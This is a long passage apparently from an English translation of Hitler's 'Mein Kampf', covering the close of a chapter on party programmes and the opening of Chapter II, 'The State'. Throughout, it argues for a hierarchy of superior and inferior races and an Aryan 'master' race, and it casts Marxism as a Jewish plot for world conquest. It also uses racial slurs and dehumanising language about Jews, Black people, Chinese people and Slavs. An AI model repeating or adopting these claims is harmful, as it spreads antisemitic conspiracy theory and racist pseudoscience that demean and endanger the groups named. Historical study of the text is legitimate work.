standstill just as it seemed about to reach its +goal. + +It was evident that this new movement could gain the public significance +and support which are necessary pre-requisites in such a gigantic +struggle only if it succeeded from the very outset in awakening a +sacrosanct conviction in the hearts of its followers, that here it was +not a case of introducing a new electoral slogan into the political +field but that an entirely new WELTANSCHAUUNG, which was of a radical +significance, had to be promoted. + +One must try to recall the miserable jumble of opinions that used to be +arrayed side by side to form the usual Party Programme, as it was +called, and one must remember how these opinions used to be brushed up +or dressed in a new form from time to time. If we would properly +understand these programmatic monstrosities we must carefully +investigate the motives which inspired the average bourgeois 'programme +committee'. + +Those people are always influenced by one and the same preoccupation +when they introduce something new into their programme or modify +something already contained in it. That preoccupation is directed +towards the results of the next election. The moment these artists in +parliamentary government have the first glimmering of a suspicion that +their darling public may be ready to kick up its heels and escape from +the harness of the old party wagon they begin to paint the shafts with +new colours. On such occasions the party astrologists and horoscope +readers, the so-called 'experienced men' and 'experts', come forward. +For the most part they are old parliamentary hands whose political +schooling has furnished them with ample experience. They can remember +former occasions when the masses showed signs of losing patience and +they now diagnose the menace of a similar situation arising. Resorting +to their old prescription, they form a 'committee'. They go around among +the darling public and listen to what is being said. They dip their +noses into the newspapers and gradually begin to scent what it is that +their darlings, the broad masses, are wishing for, what they reject and +what they are hoping for. The groups that belong to each trade or +business, and even office employees, are carefully studied and their +innermost desires are investigated. The 'malicious slogans' of the +opposition from which danger is threatened are now suddenly looked upon +as worthy of reconsideration, and it often happens that these slogans, +to the great astonishment of those who originally coined and circulated +them, now appear to be quite harmless and indeed are to be found among +the dogmas of the old parties. + +So the committees meet to revise the old programme and draw up a new +one. + +For these people change their convictions just as the soldier changes +his shirt in war--when the old one is bug-eaten. In the new programme +everyone gets everything he wants. The farmer is assured that the +interests of agriculture will be safeguarded. The industrialist is +assured of protection for his products. The consumer is assured that his +interests will be protected in the market prices. Teachers are given +higher salaries and civil servants will have better pensions. Widows and +orphans will receive generous assistance from the State. Trade will be +promoted. The tariff will be lowered and even the taxes, though they +cannot be entirely abolished, will be almost abolished. It sometimes +happens that one section of the public is forgotten or that one of the +demands mooted among the public has not reached the ears of the party. +This is also hurriedly patched on to the whole, should there be any +space available for it: until finally it is felt that there are good +grounds for hoping that the whole normal host of philistines, including +their wives, will have their anxieties laid to rest and will beam with +satisfaction once again. And so, internally armed with faith in the +goodness of God and the impenetrable stupidity of the electorate, the +struggle for what is called 'the reconstruction of the REICH' can now +begin. + +When the election day is over and the parliamentarians have held their +last public meeting for the next five years, when they can leave their +job of getting the populace to toe the line and can now devote +themselves to higher and more pleasing tasks--then the programme +committee is dissolved and the struggle for the progressive +reorganization of public affairs becomes once again a business of +earning one's daily bread, which for the parliamentarians means merely +the attendance that is required in order to be able to draw their daily +remunerations. Morning after morning the honourable deputy wends his way +to the House, and though he may not enter the Chamber itself he gets at +least as far as the front hall, where he will find the register on which +the names of the deputies in attendance have to be inscribed. As a part +of his onerous service to his constituents he enters his name, and in +return receives a small indemnity as a well-earned reward for his +unceasing and exhausting labours. + +When four years have passed, or in the meantime if there should be some +critical weeks during which the parliamentary corporations have to face +the danger of being dissolved, these honourable gentlemen become +suddenly seized by an irresistible desire to act. Just as the grub-worm +cannot help growing into a cock-chafer, these parliamentarian worms +leave the great House of Puppets and flutter on new wings out among the +beloved public. They address the electors once again, give an account of +the enormous labours they have accomplished and emphasize the malicious +obstinacy of their opponents. They do not always meet with grateful +applause; for occasionally the unintelligent masses throw rude and +unfriendly remarks in their faces. When this spirit of public +ingratitude reaches a certain pitch there is only one way of saving the +situation. The prestige of the party must be burnished up again. The +programme has to be amended. The committee is called into existence once +again. And the swindle begins anew. Once we understand the impenetrable +stupidity of our public we cannot be surprised that such tactics turn +out successful. Led by the Press and blinded once again by the alluring +appearance of the new programme, the bourgeois as well as the +proletarian herds of voters faithfully return to the common stall and +re-elect their old deceivers. The 'people's man' and labour candidate +now change back again into the parliamentarian grub and become fat and +rotund as they batten on the leaves that grow on the tree of public +life--to be retransformed into the glittering butterfly after another +four years have passed. + +Scarcely anything else can be so depressing as to watch this process in +sober reality and to be the eyewitness of this repeatedly recurring +fraud. On a spiritual training ground of that kind it is not possible +for the bourgeois forces to develop the strength which is necessary to +carry on the fight against the organized might of Marxism. Indeed they +have never seriously thought of doing so. Though these parliamentary +quacks who represent the white race are generally recognized as persons +of quite inferior mental capacity, they are shrewd enough to know that +they could not seriously entertain the hope of being able to use the +weapon of Western Democracy to fight a doctrine for the advance of which +Western Democracy, with all its accessories, is employed as a means to +an end. Democracy is exploited by the Marxists for the purpose of +paralysing their opponents and gaining for themselves a free hand to put +their own methods into action. When certain groups of Marxists use all +their ingenuity for the time being to make it be believed that they are +inseparably attached to the principles of democracy, it may be well to +recall the fact that when critical occasions arose these same gentlemen +snapped their fingers at the principle of decision by majority vote, as +that principle is understood by Western Democracy. Such was the case in +those days when the bourgeois parliamentarians, in their monumental +shortsightedness, believed that the security of the REICH was guaranteed +because it had an overwhelming numerical majority in its favour, and the +Marxists did not hesitate suddenly to grasp supreme power in their own +hands, backed by a mob of loafers, deserters, political place-hunters +and Jewish dilettanti. That was a blow in the face for that democracy in +which so many parliamentarians believed. Only those credulous +parliamentary wizards who represented bourgeois democracy could have +believed that the brutal determination of those whose interest it is to +spread the Marxist world-pest, of which they are the carriers, could for +a moment, now or in the future, be held in check by the magical formulas +of Western Parliamentarianism. Marxism will march shoulder to shoulder +with democracy until it succeeds indirectly in securing for its own +criminal purposes even the support of those whose minds are nationally +orientated and whom Marxism strives to exterminate. But if the Marxists +should one day come to believe that there was a danger that from this +witch's cauldron of our parliamentary democracy a majority vote might be +concocted, which by reason of its numerical majority would be empowered +to enact legislation and might use that power seriously to combat +Marxism, then the whole parliamentarian hocus-pocus would be at an end. +Instead of appealing to the democratic conscience, the standard bearers +of the Red International would immediately send forth a furious +rallying-cry among the proletarian masses and the ensuing fight would +not take place in the sedate atmosphere of Parliament but in the +factories and the streets. Then democracy would be annihilated +forthwith. And what the intellectual prowess of the apostles who +represented the people in Parliament had failed to accomplish would now +be successfully carried out by the crow-bar and the sledge-hammer of the +exasperated proletarian masses--just as in the autumn of 1918. At a blow +they would awaken the bourgeois world to see the madness of thinking +that the Jewish drive towards world-conquest can be effectually opposed +by means of Western Democracy. + +As I have said, only a very credulous soul could think of binding +himself to observe the rules of the game when he has to face a player +for whom those rules are nothing but a mere bluff or a means of serving +his own interests, which means he will discard them when they prove no +longer useful for his purpose. + +All the parties that profess so-called bourgeois principles look upon +political life as in reality a struggle for seats in Parliament. The +moment their principles and convictions are of no further use in that +struggle they are thrown overboard, as if they were sand ballast. And +the programmes are constructed in such a way that they can be dealt with +in like manner. But such practice has a correspondingly weakening effect +on the strength of those parties. They lack the great magnetic force +which alone attracts the broad masses; for these masses always respond +to the compelling force which emanates from absolute faith in the ideas +put forward, combined with an indomitable zest to fight for and defend +them. + +At a time in which the one side, armed with all the fighting power that +springs from a systematic conception of life--even though it be criminal +in a thousand ways--makes an attack against the established order the +other side will be able to resist when it draws its strength from a new +faith, which in our case is a political faith. This faith must supersede +the weak and cowardly command to defend. In its stead we must raise the +battle-cry of a courageous and ruthless attack. Our present movement is +accused, especially by the so-called national bourgeois cabinet +ministers--the Bavarian representatives of the Centre, for example--of +heading towards a revolution. We have one answer to give to those +political pigmies. We say to them: We are trying to make up for that +which you, in your criminal stupidity, have failed to carry out. By your +parliamentarian jobbing you have helped to drag the nation into ruin. +But we, by our aggressive policy, are setting up a new WELTANSCHAUUNG +which we shall defend with indomitable devotion. Thus we are building +the steps on which our nation once again may ascend to the temple of +freedom. + +And so during the first stages of founding our movement we had to take +special care that our militant group which fought for the establishment +of a new and exalted political faith should not degenerate into a +society for the promotion of parliamentarian interests. + +The first preventive measure was to lay down a programme which of itself +would tend towards developing a certain moral greatness that would scare +away all the petty and weakling spirits who make up the bulk of our +present party politicians. + +Those fatal defects which finally led to Germany's downfall afford the +clearest proof of how right we were in considering it absolutely +necessary to set up programmatic aims which were sharply and distinctly +defined. + +Because we recognized the defects above mentioned, we realized that a +new conception of the State had to be formed, which in itself became a +part of our new conception of life in general. + +In the first volume of this book I have already dealt with the term +VÖLKISCH, and I said then that this term has not a sufficiently precise +meaning to furnish the kernel around which a closely consolidated +militant community could be formed. All kinds of people, with all kinds +of divergent opinions, are parading about at the present moment under +the device VÖLKISCH on their banners. Before I come to deal with the +purposes and aims of the National Socialist Labour Party I want to +establish a clear understanding of what is meant by the concept VÖLKISCH +and herewith explain its relation to our party movement. The word +VÖLKISCH does not express any clearly specified idea. It may be +interpreted in several ways and in practical application it is just as +general as the word 'religious', for instance. It is difficult to attach +any precise meaning to this latter word, either as a theoretical concept +or as a guiding principle in practical life. The word 'religious' +acquires a precise meaning only when it is associated with a distinct +and definite form through which the concept is put into practice. To say +that a person is 'deeply religious' may be very fine phraseology; but, +generally speaking, it tells us little or nothing. There may be some few +people who are content with such a vague description and there may even +be some to whom the word conveys a more or less definite picture of the +inner quality of a person thus described. But, since the masses of the +people are not composed of philosophers or saints, such a vague +religious idea will mean for them nothing else than to justify each +individual in thinking and acting according to his own bent. It will not +lead to that practical faith into which the inner religious yearning is +transformed only when it leaves the sphere of general metaphysical ideas +and is moulded to a definite dogmatic belief. Such a belief is certainly +not an end in itself, but the means to an end. Yet it is a means without +which the end could never be reached at all. This end, however, is not +merely something ideal; for at the bottom it is eminently practical. We +must always bear in mind the fact that, generally speaking, the highest +ideals are always the outcome of some profound vital need, just as the +most sublime beauty owes its nobility of shape, in the last analysis, to +the fact that the most beautiful form is the form that is best suited to +the purpose it is meant to serve. + +By helping to lift the human being above the level of mere animal +existence, Faith really contributes to consolidate and safeguard its own +existence. Taking humanity as it exists to-day and taking into +consideration the fact that the religious beliefs which it generally +holds and which have been consolidated through our education, so that +they serve as moral standards in practical life, if we should now +abolish religious teaching and not replace it by anything of equal value +the result would be that the foundations of human existence would be +seriously shaken. We may safely say that man does not live merely to +serve higher ideals, but that these ideals, in their turn, furnish the +necessary conditions of his existence as a human being. And thus the +circle is closed. + +Of course, the word 'religious' implies some ideas and beliefs that are +fundamental. Among these we may reckon the belief in the immortality of +the soul, its future existence in eternity, the belief in the existence +of a Higher Being, and so on. But all these ideas, no matter how firmly +the individual believes in them, may be critically analysed by any +person and accepted or rejected accordingly, until the emotional concept +or yearning has been transformed into an active service that is governed +by a clearly defined doctrinal faith. Such a faith furnishes the +practical outlet for religious feeling to express itself and thus opens +the way through which it can be put into practice. + +Without a clearly defined belief, the religious feeling would not only +be worthless for the purposes of human existence but even might +contribute towards a general disorganization, on account of its vague +and multifarious tendencies. + +What I have said about the word 'religious' can also be applied to the +term VÖLKISCH. This word also implies certain fundamental ideas. Though +these ideas are very important indeed, they assume such vague and +indefinite forms that they cannot be estimated as having a greater value +than mere opinions, until they become constituent elements in the +structure of a political party. For in order to give practical force to +the ideals that grow out of a WELTANSCHAUUNG and to answer the demands +which are a logical consequence of such ideals, mere sentiment and inner +longing are of no practical assistance, just as freedom cannot be won by +a universal yearning for it. No. Only when the idealistic longing for +independence is organized in such a way that it can fight for its ideal +with military force, only then can the urgent wish of a people be +transformed into a potent reality. + +Any WELTANSCHAUUNG, though a thousandfold right and supremely +beneficial to humanity, will be of no practical service for the +maintenance of a people as long as its principles have not yet become +the rallying point of a militant movement. And, on its own side, this +movement will remain a mere party until is has brought its ideals to +victory and transformed its party doctrines into the new foundations of +a State which gives the national community its final shape. + +If an abstract conception of a general nature is to serve as the basis +of a future development, then the first prerequisite is to form a clear +understanding of the nature and character and scope of this conception. +For only on such a basis can a movement he founded which will be able to +draw the necessary fighting strength from the internal cohesion of its +principles and convictions. From general ideas a political programme +must be constructed and a general WELTANSCHAUUNG must receive the stamp +of a definite political faith. Since this faith must be directed towards +ends that have to be attained in the world of practical reality, not +only must it serve the general ideal as such but it must also take into +consideration the means that have to be employed for the triumph of the +ideal. Here the practical wisdom of the statesman must come to the +assistance of the abstract idea, which is correct in itself. In that way +an eternal ideal, which has everlasting significance as a guiding star +to mankind, must be adapted to the exigencies of human frailty so that +its practical effect may not be frustrated at the very outset through +those shortcomings which are general to mankind. The exponent of truth +must here go hand in hand with him who has a practical knowledge of the +soul of the people, so that from the realm of eternal verities and +ideals what is suited to the capacities of human nature may be selected +and given practical form. To take abstract and general principles, +derived from a WELTANSCHAUUNG which is based on a solid foundation of +truth, and transform them into a militant community whose members have +the same political faith--a community which is precisely defined, +rigidly organized, of one mind and one will--such a transformation is +the most important task of all; for the possibility of successfully +carrying out the idea is dependent on the successful fulfilment of that +task. Out of the army of millions who feel the truth of these ideas, and +even may understand them to some extent, one man must arise. This man +must have the gift of being able to expound general ideas in a clear and +definite form, and, from the world of vague ideas shimmering before the +minds of the masses, he must formulate principles that will be as +clear-cut and firm as granite. He must fight for these principles as the +only true ones, until a solid rock of common faith and common will +emerges above the troubled waves of vagrant ideas. The general +justification of such action is to be sought in the necessity for it and +the individual will be justified by his success. + +If we try to penetrate to the inner meaning of the word VÖLKISCH we +arrive at the following conclusions: + +The current political conception of the world is that the State, though +it possesses a creative force which can build up civilizations, has +nothing in common with the concept of race as the foundation of the +State. The State is considered rather as something which has resulted +from economic necessity, or, at best, the natural outcome of the play of +political forces and impulses. Such a conception of the foundations of +the State, together with all its logical consequences, not only ignores +the primordial racial forces that underlie the State, but it also leads +to a policy in which the importance of the individual is minimized. If +it be denied that races differ from one another in their powers of +cultural creativeness, then this same erroneous notion must necessarily +influence our estimation of the value of the individual. The assumption +that all races are alike leads to the assumption that nations and +individuals are equal to one another. And international Marxism is +nothing but the application--effected by the Jew, Karl Marx--of a +general conception of life to a definite profession of political faith; +but in reality that general concept had existed long before the time of +Karl Marx. If it had not already existed as a widely diffused infection +the amazing political progress of the Marxist teaching would never have +been possible. In reality what distinguished Karl Marx from the millions +who were affected in the same way was that, in a world already in a +state of gradual decomposition, he used his keen powers of prognosis to +detect the essential poisons, so as to extract them and concentrate +them, with the art of a necromancer, in a solution which would bring +about the rapid destruction of the independent nations on the globe. But +all this was done in the service of his race. + +Thus the Marxist doctrine is the concentrated extract of the mentality +which underlies the general concept of life to-day. For this reason +alone it is out of the question and even ridiculous to think that what +is called our bourgeois world can put up any effective fight against +Marxism. For this bourgeois world is permeated with all those same +poisons and its conception of life in general differs from Marxism only +in degree and in the character of the persons who hold it. The bourgeois +world is Marxist but believes in the possibility of a certain group of +people--that is to say, the bourgeoisie--being able to dominate the +world, while Marxism itself systematically aims at delivering the world +into the hands of the Jews. + +Over against all this, the VÖLKISCH concept of the world recognizes that +the primordial racial elements are of the greatest significance for +mankind. In principle, the State is looked upon only as a means to an +end and this end is the conservation of the racial characteristics of +mankind. Therefore on the VÖLKISCH principle we cannot admit that one +race is equal to another. By recognizing that they are different, the +VÖLKISCH concept separates mankind into races of superior and inferior +quality. On the basis of this recognition it feels bound in conformity +with the eternal Will that dominates the universe, to postulate the +victory of the better and stronger and the subordination of the inferior +and weaker. And so it pays homage to the truth that the principle +underlying all Nature's operations is the aristocratic principle and it +believes that this law holds good even down to the last individual +organism. It selects individual values from the mass and thus operates +as an organizing principle, whereas Marxism acts as a disintegrating +solvent. The VÖLKISCH belief holds that humanity must have its ideals, +because ideals are a necessary condition of human existence itself. But, +on the other hand, it denies that an ethical ideal has the right to +prevail if it endangers the existence of a race that is the +standard-bearer of a higher ethical ideal. For in a world which would be +composed of mongrels and negroids all ideals of human beauty and +nobility and all hopes of an idealized future for our humanity would be +lost forever. + +On this planet of ours human culture and civilization are indissolubly +bound up with the presence of the Aryan. If he should be exterminated or +subjugated, then the dark shroud of a new barbarian era would enfold the +earth. + +To undermine the existence of human culture by exterminating its +founders and custodians would be an execrable crime in the eyes of those +who believe that the folk-idea lies at the basis of human existence. +Whoever would dare to raise a profane hand against that highest image of +God among His creatures would sin against the bountiful Creator of this +marvel and would collaborate in the expulsion from Paradise. + +Hence the folk concept of the world is in profound accord with Nature's +will; because it restores the free play of the forces which will lead +the race through stages of sustained reciprocal education towards a +higher type, until finally the best portion of mankind will possess the +earth and will be free to work in every domain all over the world and +even reach spheres that lie outside the earth. + +We all feel that in the distant future many may be faced with problems +which can be solved only by a superior race of human beings, a race +destined to become master of all the other peoples and which will have +at its disposal the means and resources of the whole world. + +It is evident that such a general sketch of the ideas implied in the +folk concept of the world may easily be interpreted in a thousand +different ways. As a matter of fact there is scarcely one of our recent +political movements that does not refer at some point to this conception +of the world. But the fact that this conception of the world still +maintains its independent existence in face of all the others proves +that their ways of looking at life are quite difierent from this. Thus +the Marxist conception, directed by a central organization endowed with +supreme authority, is opposed by a motley crew of opinions which is not +very impressive in face of the solid phalanx presented by the enemy. +Victory cannot be achieved with such weak weapons. Only when the +international idea, politically organized by Marxism, is confronted by +the folk idea, equally well organized in a systematic way and equally +well led--only then will the fighting energy in the one camp be able to +meet that of the other on an equal footing; and victory will be found on +the side of eternal truth. + +But a general conception of life can never be given an organic +embodiment until it is precisely and definitely formulated. The function +which dogma fulfils in religious belief is parallel to the function +which party principles fulfil for a political party which is in the +process of being built up. Therefore, for the conception of life that is +based on the folk idea it is necessary that an instrument be forged +which can be used in fighting for this ideal, similar to the Marxist +party organization which clears the way for internationalism. + +And this is the aim which the German National Socialist Labour Movement +pursues. + +The folk conception must therefore be definitely formulated so that it +may be organically incorporated in the party. That is a necessary +prerequisite for the success of this idea. And that it is so is very +clearly proved even by the indirect acknowledgment of those who oppose +such an amalgamation of the folk idea with party principles. The very +people who never tire of insisting again and again that the conception +of life based on the folk idea can never be the exclusive property of a +single group, because it lies dormant or 'lives' in myriads of hearts, +only confirm by their own statements the simple fact that the general +presence of such ideas in the hearts of millions of men has not proved +sufficient to impede the victory of the opposing ideas, which are +championed by a political party organized on the principle of class +conflict. If that were not so, the German people ought already to have +gained a gigantic victory instead of finding themselves on the brink of +the abyss. The international ideology achieved success because it was +organized in a militant political party which was always ready to take +the offensive. If hitherto the ideas opposed to the international +concept have had to give way before the latter the reason is that they +lacked a united front to fight for their cause. A doctrine which forms a +definite outlook on life cannot struggle and triumph by allowing the +right of free interpretation of its general teaching, but only by +defining that teaching in certain articles of faith that have to be +accepted and incorporating it in a political organization. + +Therefore I considered it my special duty to extract from the extensive +but vague contents of a general WELTANSCHAUUNG the ideas which were +essential and give them a more or less dogmatic form. Because of their +precise and clear meaning, these ideas are suited to the purpose of +uniting in a common front all those who are ready to accept them as +principles. In other words: The German National Socialist Labour Party +extracts the essential principles from the general conception of the +world which is based on the folk idea. On these principles it +establishes a political doctrine which takes into account the practical +realities of the day, the nature of the times, the available human +material and all its deficiencies. Through this political doctrine it is +possible to bring great masses of the people into an organization which +is constructed as rigidly as it could be. Such an organization is the +main preliminary that is necessary for the final triumph of this ideal. + + + + +CHAPTER II + + + +THE STATE + + +Already in 1920-1921 certain circles belonging to the effete bourgeois +class accused our movement again and again of taking up a negative +attitude towards the modern State. For that reason the motley gang of +camp followers attached to the various political parties, representing a +heterogeneous conglomeration of political views, assumed the right of +utilizing all available means to suppress the protagonists of this young +movement which was preaching a new political gospel. Our opponents +deliberately ignored the fact that the bourgeois class itself stood for +no uniform opinion as to what the State really meant and that the +bourgeoisie did not and could not give any coherent definition of this +institution. Those whose duty it is to explain what is meant when we +speak of the State, hold chairs in State universities, often in the +department of constitutional law, and consider it their highest duty to +find explanations and justifications for the more or less fortunate +existence of that particular form of State which provides them with +their daily bread. The more absurd such a form of State is the more +obscure and artificial and incomprehensible are the definitions which +are advanced to explain the purpose of its existence. What, for +instance, could a royal and imperial university professor write about +the meaning and purpose of a State in a country whose statal form +represented the greatest monstrosity of the twentieth century? That +would be a difficult undertaking indeed, in view of the fact that the +contemporary professor of constitutional law is obliged not so much to +serve the cause of truth but rather to serve a certain definite purpose. +And this purpose is to defend at all costs the existence of that +monstrous human mechanism which we now call the State. Nobody can be +surprised if concrete facts are evaded as far as possible when the +problem of the State is under discussion and if professors adopt the +tactics of concealing themselves in morass of abstract values and duties +and purposes which are described as 'ethical' and 'moral'. + +Generally speaking, these various theorists may be classed in three +groups: + +1. Those who hold that the State is a more or less voluntary association +of men who have agreed to set up and obey a ruling authority. + +This is numerically the largest group. In its ranks are to be found +those who worship our present principle of legalized authority. In their +eyes the will of the people has no part whatever in the whole affair. +For them the fact that the State exists is sufficient reason to consider +it sacred and inviolable. To accept this aberration of the human brain +one would have to have a sort of canine adoration for what is called the +authority of the State. In the minds of these people the means is +substituted for the end, by a sort of sleight-of-hand movement. The +State no longer exists for the purpose of serving men but men exist for +the purpose of adoring the authority of the State, which is vested in +its functionaries, even down to the smallest official. So as to prevent +this placid and ecstatic adoration from changing into something that +might become in any way disturbing, the authority of the State is +limited simply to the task of preserving order and tranquillity. +Therewith it is no longer either a means or an end. The State must see +that public peace and order are preserved and, in their turn, order and +peace must make the existence of the State possible. All life must move +between these two poles. In Bavaria this view is upheld by the artful +politicians of the Bavarian Centre, which is called the 'Bavarian +Populist Party'. In Austria the Black-and-Yellow legitimists adopt a +similar attitude. In the REICH, unfortunately, the so-called +conservative elements follow the same line of thought. + +2. The second group is somewhat smaller in numbers. It includes those +who would make the existence of the State dependent on some conditions +at least. They insist that not only should there be a uniform system of +government but also, if possible, that only one language should be used, +though solely for technical reasons of administration. In this view the +authority of the State is no longer the sole and exclusive end for which +the State exists. It must also promote the good of its subjects. Ideas +of 'freedom', mostly based on a misunderstanding of the meaning of that +word, enter into the concept of the State as it exists in the minds of +this group. The form of government is no longer considered inviolable +simply because it exists. It must submit to the test of practical +efficiency. Its venerable age no longer protects it from being +criticized in the light of modern exigencies. Moreover, in this view the +first duty laid upon the State is to guarantee the economic well-being +of the individual citizens. Hence it is judged from the practical +standpoint and according to general principles based on the idea of +economic returns. The chief representatives of this theory of the State +are to be found among the average German bourgeoisie, especially our +liberal democrats. + +3. The third group is numerically the smallest. In the State they +discover a means for the realization of tendencies that arise from a +policy of power, on the part of a people who are ethnically homogeneous +and speak the same language. But those who hold this view are not clear +about what they mean by 'tendencies arising from a policy of power'. A +common language is postulated not only because they hope that thereby +the State would be furnished with a solid basis for the extension of its +power outside its own frontiers, but also because they think--though +falling into a fundamental error by doing so--that such a common +language would enable them to carry out a process of nationalization in +a definite direction. + +During the last century it was lamentable for those who had to witness +it, to notice how in these circles I have just mentioned the word +'Germanization' was frivolously played with, though the practice was +often well intended. I well remember how in the days of my youth this +very term used to give rise to notions which were false to an incredible +degree. Even in Pan-German circles one heard the opinion expressed that +the Austrian Germans might very well succeed in Germanizing the Austrian +Slavs, if only the Government would be ready to co-operate. Those people +did not understand that a policy of Germanization can be carried out +only as regards human beings. What they mostly meant by Germanization +was a process of forcing other people to speak the German language. But +it is almost inconceivable how such a mistake could be made as to think +that a Nigger or a Chinaman will become a German because he has learned +the German language and is willing to speak German for the future, and +even to cast his vote for a German political party. Our bourgeois +nationalists could never clearly see that such a process of +Germanization is in reality de-Germanization; for even if all the +outstanding and visible differences between the various peoples could be +bridged over and finally wiped out by the use of a common language, that +would produce a process of bastardization which in this case would not +signify Germanization but the annihilation of the German element. In the +course of history it has happened only too often that a conquering race +succeeded by external force in compelling the people whom they subjected +to speak the tongue of the conqueror and that after a thousand years +their language was spoken by another people and that thus the conqueror +finally turned out to be the conquered. + +What makes a people or, to be more correct, a race, is not language but +blood. Therefore it would be justifiable to speak of Germanization only +if that process could change the blood of the people who would be +subjected to it, which is obviously impossible. A change would be +possible only by a mixture of blood, but in this case the quality of the +superior race would be debased. The final result of such a mixture would +be that precisely those qualities would be destroyed which had enabled +the conquering race to achieve victory over an inferior people. It is +especially the cultural creativeness which disappears when a superior +race intermixes with an inferior one, even though the resultant mongrel +race should excel a thousandfold in speaking the language of the race +that once had been superior. For a certain time there will be a conflict +between the different mentalities, and it may be that a nation which is +in a state of progressive degeneration will at the last moment rally its +cultural creative power and once again produce striking examples of that +power. But these results are due only to the activity of elements that +have remained over from the superior race or hybrids of the first +crossing in whom the superior blood has remained dominant and seeks to +assert itself. But this will never happen with the final descendants of +such hybrids. These are always in a state of cultural retrogression. + +We must consider it as fortunate that a Germanization of Austria +according to the plan of Joseph II did not succeed. Probably the result +would have been that the Austrian State would have been able to survive, +but at the same time participation in the use of a common language would +have debased the racial quality of the German element. In the course of +centuries a certain herd instinct might have been developed but the herd +itself would have deteriorated in quality. A national State might have +arisen, but a people who had been culturally creative would have +disappeared. + +For the German nation it was better that this process of intermixture +did not take place, although it was not renounced for any high-minded +reasons but simply through the short-sighted pettiness of the Habsburgs. +If it had taken place the German people could not now be looked upon as +a cultural factor. + +Not only in Austria, however, but also in the REICH, these so-called +national circles were, and still are, under the influence of similar +erroneous ideas. Unfortunately, a policy towards Poland, whereby the +East was to be Germanized, was demanded by many and was based on the +same false reasoning. Here again it was believed that the Polish people +could be Germanized by being compelled to use the German language. The +result would have been fatal. A people of foreign race would have had to +use the German language to express modes of thought that were foreign to +the German, thus compromising by its own inferiority the dignity and +nobility of our nation. + +It is revolting to think how much damage is indirectly done to German +prestige to-day through the fact that the German patois of the Jews when +they enter the United States enables them to be classed as Germans, +because many Americans are quite ignorant of German conditions. Among +us, nobody would think of taking these unhygienic immigrants from the +East for members of the German race and nation merely because they +mostly speak German. + +What has been beneficially Germanized in the course of history was the +land which our ancestors conquered with the sword and colonized with +German tillers of the soil. To the extent that they introduced foreign +blood into our national body in this colonization, they have helped to +disintegrate our racial character, a process which has resulted in our +German hyper-individualism, though this latter characteristic is even +now frequently praised. + +In this third group also there are people who, to a certain degree, +consider the State as an end in itself. Hence they consider its +preservation as one of the highest aims of human existence. Our analysis +may be summed up as follows: + +All these opinions have this common feature and failing: that they are +not grounded in a recognition of the profound truth that the capacity +for creating cultural values is essentially based on the racial element +and that, in accordance with this fact, the paramount purpose of the +State is to preserve and improve the race; for this is an indispensable +condition of all progress in human civilization. + +Thus the Jew, Karl Marx, was able to draw the final conclusions from +these false concepts and ideas on the nature and purpose of the State. +By eliminating from the concept of the State all thought of the +obligation which the State bears towards the race, without finding any +other formula that might be universally accepted, the bourgeois teaching +prepared the way for that doctrine which rejects the State as such. + +That is why the bourgeois struggle against Marxist internationalism is +absolutely doomed to fail in this field. The bourgeois classes have +already sacrificed the basic principles which alone could furnish a +solid footing for their ideas. Their crafty opponent has perceived the +defects in their structure and advances to the assault on it with those +weapons which they themselves have placed in his hands though not +meaning to do so. + +Therefore any new movement which is based on the racial concept of the +world will first of all have to put forward a clear and logical doctrine +of the nature and purpose of the State. + +The fundamental principle is that the State is not an end in itself but +the means to an end. It is the preliminary condition under which alone a +higher form of human civilization can be developed, but it is not the +source of such a development. This is to be sought exclusively in the +actual existence of a race which is endowed with the gift of cultural +creativeness. There may be hundreds of excellent States on this earth, +and yet if the Aryan, who is the creator and custodian of civilization, +should disappear, all culture that is on an adequate level with the +spiritual needs of the superior nations to-day would also disappear. We +may go still further and say that the fact that States have been created +by human beings does not in the least exclude the possiblity that the +human race may become extinct, because the superior intellectual +faculties and powers of adaptation would be lost when the racial bearer +of these faculties and powers disappeared. + +If, for instance, the surface of the globe should be shaken to-day by +some seismic convulsion and if a new Himalaya would emerge from the +waves of the sea, this one catastrophe alone might annihilate human +civilization. No State could exist any longer. All order would be +shattered. And all vestiges of cultural products which had been evolved +through thousands of years would disappear. Nothing would be left but +one tremendous field of death and destruction submerged in floods of +water and mud. If, however, just a few people would survive this +terrible havoc, and if these people belonged to a definite race that had +the innate powers to build up a civilization, when the commotion had +passed, the earth would again bear witness to the creative power of the +human spirit, even though a span of a thousand years might intervene. +Only with the extermination of the last race that possesses the gift of +cultural creativeness, and indeed only if all the individuals of that +race had disappeared, would the earth definitely be turned into a +desert. On the other hand, modern history furnishes examples to show +that statal institutions which owe their beginnings to members of a race +which lacks creative genius are not made of stuff that will endure. Just +as many varieties of prehistoric animals had to give way to others and +leave no trace behind them, so man will also have to give way, if he +loses that definite faculty which enables him to find the weapons that +are necessary for him to maintain his own existence. + +It is not the State as such that brings about a certain definite advance +in cultural progress. The State can only protect the race that is the +cause of such progress. The State as such may well exist without +undergoing any change for hundreds of years, though the cultural +faculties and the general life of the people, which is shaped by these +faculties, may have suffered profound changes by reason of the fact that +the State did not prevent a process of racial mixture from taking place. +The present State, for instance, may continue to exist in a mere +mechanical form, but the poison of miscegenation permeating the national +body brings about a cultural decadence which manifests itself already in +various symptoms that are of a detrimental character. + +Thus the indispensable prerequisite for the existence of a superior +quality of human beings is not the State but the race, which is alone +capable of producing that higher human quality. + +This capacity is always there, though it will lie dormant unless +external circumstances awaken it to action. Nations, or rather races, +which are endowed with the faculty of cultural creativeness possess this +faculty in a latent form during periods when the external circumstances +are unfavourable for the time being and therefore do not allow the +faculty to express itself effectively. It is therefore outrageously +unjust to speak of the pre-Christian Germans as barbarians who had no +civilization. They never have been such. But the severity of the climate +that prevailed in the northern regions which they inhabited imposed +conditions of life which hampered a free development of their creative +faculties. If they had come to the fairer climate of the South, with no +previous culture whatsoever, and if they acquired the necessary human +material--that is to say, men of an inferior race--to serve them as +working implements, the cultural faculty dormant in them would have +splendidly blossomed forth, as happened in the case of the Greeks, for +example. But this primordial creative faculty in cultural things was not +solely due to their northern climate. For the Laplanders or the Eskimos +would not have become creators of a culture if they were transplanted to +the South. No, this wonderful creative faculty is a special gift +bestowed on the Aryan, whether it lies dormant in him or becomes active, +according as the adverse conditions of nature prevent the active +expression of that faculty or favourable circumstances permit it. + +From these facts the following conclusions may be drawn: + +The State is only a means to an end. Its end and its purpose is to +preserve and promote a community of human beings who are physically as +well as spiritually kindred. Above all, it must preserve the existence +of the race, thereby providing the indispensable condition for the free +development of all the forces dormant in this race. A great part of +these faculties will always have to be employed in the first place to +maintain the physical existence of the race, and only a small portion +will be free to work in the field of intellectual progress. But, as a +matter of fact, the one is always the necessary counterpart of the +other. + +Those States which do not serve this purpose have no justification for 